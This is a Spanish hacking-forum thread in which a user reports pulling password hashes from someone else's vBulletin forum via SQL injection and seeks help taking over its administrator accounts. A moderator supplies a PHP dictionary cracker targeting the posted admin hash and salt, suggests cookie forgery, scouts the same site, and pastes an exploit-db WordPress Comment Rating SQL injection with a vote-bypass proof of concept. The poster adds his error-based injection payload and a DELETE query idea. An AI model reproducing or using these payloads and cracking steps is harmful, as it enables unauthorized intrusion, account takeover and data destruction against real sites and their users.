elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  descifrar Hash vbulletin 4.1.3
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: descifrar Hash vbulletin 4.1.3  (Leído 9,438 veces)
juansemaster

Desconectado Desconectado

Mensajes: 8


piojo


Ver Perfil WWW
descifrar Hash vbulletin 4.1.3
« en: 28 Marzo 2013, 18:27 pm »

Accedi a los hashes de un foro en vbulletin mediante una inyección en php

paso los hash  

Usuario:hash:ide

cai_baguette:e53a3baca64869cb558bc6f6f5fab4f5:1


El problema que tengo ahora es no puedo descifrar los hash presumiblemente en MD5.

Tambien intente en modficar cookies de acceso sin resultados positivos.

El desafio es encontrar una forma de descifrar los hash o utilizar estos para acceder a las cuentas de los administradores.

Saludos
Juansemaster
« Última modificación: 9 Abril 2013, 23:58 pm por juansemaster » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: descifrar Hash vbulletin 4.1.3
« Respuesta #1 en: 28 Marzo 2013, 22:05 pm »

Mira, este es el algoritmo:
Código
  1. <?php md5(md5($pass).$salt); ?>

Es practicamente imposible descifrar porque es de una sola via + el salt pero si puedes crackearlas siempre y cuando tengas el salt de cada cuenta.

Tambien puedes probar inyectando sesiones en tu explorador utilizando esos hashses.

Saludos.
En línea

juansemaster

Desconectado Desconectado

Mensajes: 8


piojo


Ver Perfil WWW
Re: descifrar Hash vbulletin 4.1.3
« Respuesta #2 en: 28 Marzo 2013, 23:21 pm »

Como se obtiene el salt con que datos?
En línea

juansemaster

Desconectado Desconectado

Mensajes: 8


piojo


Ver Perfil WWW
Re: descifrar Hash vbulletin 4.1.3
« Respuesta #3 en: 29 Marzo 2013, 06:39 am »

encontre esto en el archivo passwordcheck.php

WHERE password = MD5(CONCAT(MD5(username),salt))

el valor salt tiene el siguiente formato

n]t!Cir&n<z0FC7FDdPNMK@h6[hwqy

nose en que esta cifrado
En línea

juansemaster

Desconectado Desconectado

Mensajes: 8


piojo


Ver Perfil WWW
Re: descifrar Hash vbulletin 4.1.3
« Respuesta #4 en: 29 Marzo 2013, 07:11 am »


Código
  1. function fetch_user_salt($length = 30)
  2. {
  3. $salt = '';
  4. for ($i = 0; $i < $length; $i++)
  5. {
  6. $salt .= chr(vbrand(33, 126));
  7. }
  8. return $salt;
  9. }
  10.  

parece que el salt se obtiene al azar y es pasado a ascii  :P
En línea

juansemaster

Desconectado Desconectado

Mensajes: 8


piojo


Ver Perfil WWW
Re: descifrar Hash vbulletin 4.1.3
« Respuesta #5 en: 29 Marzo 2013, 07:17 am »

 ;D


logre obtener el salt del administrador ahora tengo mas datos


Admin id1
hash: e53a3baca64869cb558bc6f6f5fab4f5
salt: aY-t'2c;`&lt;s?GYYqsDnUP=(AQ(mH'8

voy a intentar crackearlo
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: descifrar Hash vbulletin 4.1.3
« Respuesta #6 en: 2 Abril 2013, 14:24 pm »

jajaja que largo el salt xD pero ya con ese dato podrás facilmente crackear la contraseña porque recuerda que md5 es un cifrado de una via, o sea que no se puee descifrar pero si comparar:

Código
  1. <?php
  2. /*
  3. Admin id1
  4. hash: e53a3baca64869cb558bc6f6f5fab4f5
  5. salt: aY-t'2c;`&s?GYYqsDnUP=(AQ(mH'8
  6. */
  7.  
  8. /* Config */
  9. $hash = 'e53a3baca64869cb558bc6f6f5fab4f5';
  10. $salt = 'aY-t\'2c;`&s?GYYqsDnUP=(AQ(mH\'8';
  11. $listado = file('diccionario.txt');
  12. $pass = false;
  13.  
  14. /* Busca */
  15. foreach($diccionario as $palabra){
  16. if($palabra = trim((string)$palabra)){
  17. if(md5(md5($palabra).$salt) === (string)$hash){
  18. $pass = $palabra;
  19. break;
  20. }
  21. }
  22. }
  23.  
  24. if($pass)
  25. echo 'La clave es: '.htmlspecialchars($pass, ENT_QUOTES);
  26. else
  27. echo 'Imposible obtener la clave :(';
  28. ?>

Ahora necesitas un buen diccionario de palabras :D y a crackear se ha dicho!

Nota: Cuidado donde aparece "&lt;" porque puede ser que realmente sea "&", lo que sucede es que el sistema de coloreado de código transforma algunas cosas de forma automática  :¬¬

¿Porque no usas ese hash y ese sat para generar una cookie de autentificación mejor? talves sea mas facil que crackear la contraseña no crees?
« Última modificación: 2 Abril 2013, 14:28 pm por WHK » En línea

juansemaster

Desconectado Desconectado

Mensajes: 8


piojo


Ver Perfil WWW
Re: descifrar Hash vbulletin 4.1.3
« Respuesta #7 en: 3 Abril 2013, 00:51 am »

estoy atascado

Probe con la cookie con un complemento de firefox para modificarlas pero aparentemente vbulletin crea otro dato en md5 para las cookies asi que es imposble.

Probe con muchos diccionarios sin exito  en la pc tambien mediante php :-( sin resultados, el script funciona con la salt hice la prueba con mi propia cuenta y funciono pero por ahora no logro crackear la de los administradores.

La salt tiene que contener 30 caracteres el problema con &lt; hay que cambiarla por el signo menor.

&lt;= <

 :P donde puedo conseguir diccionarios interesantes si estan relacionados con el futbol mejor.
En línea

juansemaster

Desconectado Desconectado

Mensajes: 8


piojo


Ver Perfil WWW
Re: descifrar Hash vbulletin 4.1.3
« Respuesta #8 en: 10 Abril 2013, 00:01 am »

No hay suerte, te dejo la inyeccion SQL para ver si se puede hacer algo mas con ella.

Código
  1.  
  2. &searchfromtype=vBForum:SocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) UNION SELECT password FROM USER
  3.  
  4. WHERE userid=1 AND ROW(1,1)>(SELECT COUNT(*),concat( (SELECT USER.password) ,0x3a,FLOOR(rand(0)*2)) x FROM (SELECT 1
  5.  
  6. UNION SELECT 2 UNION SELECT 3)a GROUP BY x LIMIT 1) -- /*);
  7.  
  8.  

Eso se agrega en el formulario de busqueda.


Estaria bueno enviar una orden para borrar cierto registro tipo:

Código
  1. mysql_query(DELETE FROM USER WHERE userid=408);


Probe sin resultados.
« Última modificación: 10 Abril 2013, 00:06 am por juansemaster » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: descifrar Hash vbulletin 4.1.3
« Respuesta #9 en: 17 Mayo 2013, 18:08 pm »

Mira, de la misma web estuve intentando buscar alguna inyección sql que no te pida registro de usuario como la que encontraste, encontré esta:

wp-content/plugins/comment-rating/ck-processkarma.php

Si ingresas a wp-register verás el registro de wordpress (es un 3.3.2) y al ingresar verás el panel de usuario de wordpress, si le das un vistazo al código fuente podrás ver la mayoría de sus plugins:

Citar
....../wp-admin/load-styles.php?c=1&amp;dir=ltr&amp;load=admin-bar,wp-admin,wp-pointer&amp;ver=1747f87854de3d4df3fdb74e9ef12757
....../wp-content/plugins/w3-total-cache/pub/css/widget.css?ver=3.3.2
....../wp-includes/js/thickbox/thickbox.css?ver=20111117
....../wp-admin/css/colors-fresh.css?ver=20111206
....../wp-admin/css/ie.css?ver=20111130
....../wp-content/plugins/youtube-embed/css/aye-admin.css?ver=3.3.2
....../wp-content/plugins/youtube-embed/css/aye-dynamic.css?ver=3.3.2
....../wp-content/plugins/youtube-embed/css/aye-tinymce-button.css?ver=3.3.2
....../wp-admin/load-scripts.php?c=1&amp;load=jquery,utils&amp;ver=edec3fab0cb6297ea474806db1895fa7
....../wp-content/plugins/comment-rating/ck-karma.js?ver=3.3.2
....../wp-content/plugins/w3-total-cache/pub/js/metadata.js?ver=3.3.2
....../wp-content/plugins/w3-total-cache/pub/js/widget.js?ver=3.3.2
....../wp-content/plugins/microkids-related-posts/microkids-related-posts.js

Los que mas se destacan por sus vulnerabilidades son w3-total-cache y comment-rating pero el de total caché no funciona porque no tiene puesta la opción de visualizar directorios (o si no ya hubieramos tenido la db), la de comment-rating si es posible explotar:
http://webcache.googleusercontent.com/search?q=cache:Y5z03qapzdQJ:www.exploit-db.com/exploits/24552/+&cd=1&hl=es&ct=clnk&gl=cl&client=firefox-a

Código
  1. # Exploit Title: Wordpress plugin: Comment Rating SQL injection
  2. # Google Dork:
  3. # Date: 21/02/2013
  4. # Exploit Author: ebanyu
  5. # Url Author: www.ebanyu.com.ar
  6. # Vendor Homepage: wealthynetizen.com
  7. # Software Link: http://wealthynetizen.com/wordpress-plugin-comment-rating/
  8. # Version: 2.9.32
  9. # Tested on: Fedora 18 + mysql 5.5 + php 5.4
  10.  
  11.  
  12.  
  13. Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php
  14.  
  15. First take the IP from HTTP_X_FORWARDED_FOR header.
  16. -----------------------------------------------------------------------
  17. 48         $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
  18. 49         if(strstr($row['ck_ips'], $ip)) {
  19. 50            // die('error|You have already voted on this item!');
  20. 51            // Just don't count duplicated votes
  21. 52            $duplicated = 1;
  22. 53            $ck_ips = $row['ck_ips'];
  23. 54         }
  24.  
  25. Later made a UPDATE without filter the input.
  26. ------------------------------------------------------------------------
  27. 77         $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips  . "' WHERE ck_comment_id = $k_id";
  28.  
  29.  
  30. So let's take a look in the DB
  31.  
  32. mysql> select * from wp_comment_rating;
  33. +---------------+----------------+--------------+----------------+
  34. | ck_comment_id | ck_ips         | ck_rating_up | ck_rating_down |
  35. +---------------+----------------+--------------+----------------+
  36. |             2 | ,20.209.10.130 |            1 |              0 |
  37. |             3 |                |            0 |              0 |
  38. +---------------+----------------+--------------+----------------+
  39. 2 rows in set (0.00 sec)
  40.  
  41.  
  42. Now made a HTTP request with a injection in the HTTP_X_FORWARDED_FOR header:
  43.  
  44. GET /wordpress/wp-content/plugins/comment-rating/ck-processkarma.php?id=2&action=add&path=a&imgIndex=1_14_ HTTP/1.1
  45. Host: 192.168.1.10
  46. Accept-Encoding: gzip, deflate
  47. X-Forwarded-For: ', ck_ips=(select user()) WHERE ck_comment_id=2#
  48. Connection: keep-alive
  49.  
  50.  
  51. And the result is:
  52.  
  53. mysql> select * from wp_comment_rating;
  54. +---------------+---------------------+--------------+----------------+
  55. | ck_comment_id | ck_ips              | ck_rating_up | ck_rating_down |
  56. +---------------+---------------------+--------------+----------------+
  57. |             2 | wordpress@localhost |            2 |              0 |
  58. |             3 |                     |            0 |              0 |
  59. +---------------+---------------------+--------------+----------------+
  60. 2 rows in set (0.00 sec)
  61.  
  62. Cheers
  63.  
  64. =======================================================================================
  65.  
  66.  
  67. # Exploit Title: Wordpress plugin: Comment Rating Bypass vote limitation
  68. # Date: 21/02/2013
  69. # Exploit Author: ebanyu
  70. # Url Author: www.ebanyu.com.ar
  71. # Vendor Homepage: wealthynetizen.com
  72. # Software Link: http://wealthynetizen.com/wordpress-plugin-comment-rating/
  73. # Version: 2.9.32
  74. # Tested on: Fedora 18 + mysql 5.5 + php 5.4
  75.  
  76.  
  77. Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php
  78.  
  79. First take the IP from HTTP_X_FORWARDED_FOR header.
  80. -----------------------------------------------------------------------
  81. 48         $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
  82. 49         if(strstr($row['ck_ips'], $ip)) {
  83. 50            // die('error|You have already voted on this item!');
  84. 51            // Just don't count duplicated votes
  85. 52            $duplicated = 1;
  86. 53            $ck_ips = $row['ck_ips'];
  87. 54         }
  88.  
  89. Later made a UPDATE without filter the input.
  90. ------------------------------------------------------------------------
  91. 77         $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips  . "' WHERE ck_comment_id = $k_id";
  92.  
  93.  
  94. Now for bypass the vote limitation, we just have to add the HTTP_X_FORWARDED_FOR header and change it once per request.
  95.  
  96. A simple POC is made in php.
  97.  
  98. <?PHP
  99.  
  100. define('HOST','http://localhost/wordpress/');
  101. define('IDCOMMENT',2);
  102. $url=parse_url(HOST);
  103. define('URL',$url['path'].'wp-content/plugins/comment-rating/ck-processkarma.php?id='.IDCOMMENT.'&action=add&path=a&imgIndex=1_14_');
  104. for($i=0;$i<1;$i++) lvlup();
  105.  
  106. function lvlup(){
  107. global $url;
  108. $header = "GET ".URL." HTTP/1.1 \r\n";
  109. $header.= "Host: ".$url['host']."\r\n";
  110. $header.= "Accept-Encoding: gzip, deflate \r\n";
  111. $header.= "X-Forwarded-For: ".long2ip(rand(0, "4294967295"))."\r\n";
  112. $header.= "Connection: close \r\n\r\n";
  113. $socket  = socket_create(AF_INET, SOCK_STREAM,  SOL_TCP);
  114. socket_connect($socket,$url['host'], 80);
  115. socket_write($socket, $header);
  116. socket_close($socket);
  117. }
  118.  
  119. ?>

El problema es que es una inyección muy muy dificil de explotar como para poder sacar probechos de ella y ganar algunos privilegios ya que está escrita sobre un update y no se puede concatenar una segunda instrucción para hacer otro update o un insert y poder hacer tu usuario un administrador, lo unico que se puede es crear un select entre parentesis pero los resultados se van directamente a una columna de la base de datos que nunca ves, asi que no sirve de mucho.

Dale un vistazo a las vulnerabilidades de Wordpress de las versiones entre la que está instalada y la última estable.

Creo que había un exploit para aprobecharse del pingback o del xmlrpc, no lo recuerdo bien.

Saludos.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Descifrar HASH
Ingeniería Inversa
mpriet 4 5,113 Último mensaje 18 Noviembre 2010, 03:06 am
por mpriet
¿Como descifrar un hash md5 con salt? « 1 2 »
Criptografía
burt 18 25,325 Último mensaje 28 Febrero 2011, 12:13 pm
por burt
Ayuda a descifrar este hash
Bugs y Exploits
||•?¤?- SeCurity-?¤?•|| 0 2,800 Último mensaje 3 Mayo 2012, 03:35 am
por ||•?¤?- SeCurity-?¤?•||
Descifrar hash
Seguridad
ime 6 11,288 Último mensaje 6 Diciembre 2012, 23:57 pm
por ime
Ayuda para descifrar un hash « 1 2 »
Hacking
XeDeR 12 9,180 Último mensaje 18 Diciembre 2014, 00:35 am
por XeDeR
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines